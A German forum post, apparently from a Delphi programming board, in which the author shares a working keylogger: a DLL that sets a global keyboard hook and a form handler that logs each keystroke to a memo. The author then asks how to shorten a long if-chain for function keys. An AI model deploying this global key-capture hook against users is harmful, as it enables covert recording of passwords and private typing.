Huhu!
Erstmal: Ich habe nicht das Problem 'Wie programmiere ich einen Keylogger' oder 'Wie sende ich Tasten an ein anderes Fenster', nein , ich HABE einen Keylogger programmiert bzw. mir die Codes aus dem besten Delphi Forum ->
DP gesucht und mir mal ein Programm zusammengeschnipselt.
Hier mein Problem, bei dem ich hoffe, dass es gelöst werden kann:
Ich habe die
dll KeyHook.dll
Delphi-Quellcode:
library KeyHook;
uses
Windows,
Messages;
{$R *.res}
type
PHWND = ^HWND;
const
WM_KEYBOARD_HOOK = WM_USER + 52012;
var
hHook: LongWord = 0;
Key: Word;
KeyboardLayout: HKL;
GetShiftKeys: Boolean;
hWndBuffer: PHWND;
hMMF: THandle;
function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
LastKey: Char;
KeyState: TKeyboardState;
begin
Result := CallNextHookEx(hHook, nCode, wParam, lParam);
if nCode < 0 then Exit;
KeyboardLayout := GetKeyboardLayout(0);
GetKeyboardState(KeyState);
if ToAsciiEx(wParam, MapVirtualKeyEx(wParam, 2, KeyboardLayout), KeyState, @LastKey, 0, KeyboardLayout) > 0 then
Key := Ord(LastKey)
else
Key := wParam;
if ((lParam and $80000000) = 0) and (not (wParam in [16, 17, 18]) or GetShiftKeys) then
PostMessage(hwndBuffer^, WM_KEYBOARD_HOOK, Key, GetActiveWindow);
end;
function Key_CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall;
var
bHWND: PHWND;
begin
hMMF := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE or SEC_COMMIT, 0, SizeOf(hWnd), 'EDO-SoftKeyHookHandle');
bHWND := MapViewOfFile(hMMF, FILE_MAP_WRITE, 0, 0, SizeOf(HWND));
bHWND^ := hWnd;
UnmapViewOfFile(bHWND);
GetMem(hWndBuffer, SizeOf(HWND));
hWndBuffer^ := hWnd;
GetShiftKeys := ShiftKeys;
if hHook = 0 then
hHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0);
Result := hHook <> 0;
end;
function Key_DeleteHook: Boolean; stdcall;
begin
FreeMem(hWndBuffer);
CloseHandle(hMMF);
Result := UnhookWindowsHookEx(hHook);
hHook := 0;
end;
exports
Key_CreateHook,
Key_DeleteHook;
var
MMF: THandle;
begin
MMF := OpenFileMapping(FILE_MAP_READ, false, 'EDO-SoftKeyHookHandle');
if MMF <> 0 then
begin
hWndBuffer := MapViewOfFile(MMF, FILE_MAP_READ, 0, 0, SizeOf(HWND));
CloseHandle(MMF);
end;
end.
So nun verwende ich die auch in meinem Programm. Geht alles schön und gut.
Nur wenn der Benutzer z.B. die Funktionstaste F1 oder F2 ... drückt, erscheint das von der
DLL nicht einfach so.
Ich habe das folgendermaßen gelöst:
Delphi-Quellcode:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
var Handled: Boolean);
var
S: String;
begin
if Msg.message = WM_KEYBOARD_HOOK then
// --------------------------- Beginn der Sonder und Ausnahmefunktionen
begin
if Msg.wParam = 13 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Enter>';
Exit;
end;
if Msg.wParam = 32 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Spacebar>';
Exit;
end;
if Msg.wParam = 112 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F1">';
Exit;
end;
if Msg.wParam = 113 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F2">';
Exit;
end;
if Msg.wParam = 114 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F3">';
Exit;
end;
if Msg.wParam = 115 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F4">';
Exit;
end;
if Msg.wParam = 116 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F5">';
Exit;
end;
if Msg.wParam = 117 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F6">';
Exit;
end;
if Msg.wParam = 118 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F7">';
Exit;
end;
if Msg.wParam = 119 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F8">';
Exit;
end;
if Msg.wParam = 120 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F9">';
Exit;
end;
if Msg.wParam = 121 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F10">';
Exit;
end;
if Msg.wParam = 122 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F11">';
Exit;
end;
if Msg.wParam = 123 then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F12">';
Exit;
end;
if Msg.wParam = VK_BACK then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Backspace>';
Exit;
end;
//------------------------ Ende der Sonder und Ausnahmefunktionen
Memo1.Lines.Text := Memo1.Lines.Text + (Chr(Msg.wParam));
end;
end;
So nun ist da ein kleines Problem:
Ich möchte nicht andauernd
Delphi-Quellcode:
if Msg.wParam = {Irgendeine Taste} then
begin
Memo1.Lines.Text := Memo1.Lines.Text + #13 + 'Irgend ne Taste';
Exit;
eingeben.
Meine Frage:
Gibt es da eine Methode, den Quelltext zu verkürzen? Ich meine also z.B.
Delphi-Quellcode:
120: '<Function Key F9>';
121: '<Function Key F10>';
oder so.. nur im "grafischen" Sinne
Hab mich damit noch nie so richtig beschäftigt, kenne mich da also nicht so aus.
Weiß einer wie das geht?
P.S.: Die, die das jetzt immer noch ned geblickt haben (
): Ich möchte den Quelltext bei
Delphi-Quellcode:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
var Handled: Boolean);
verkürzen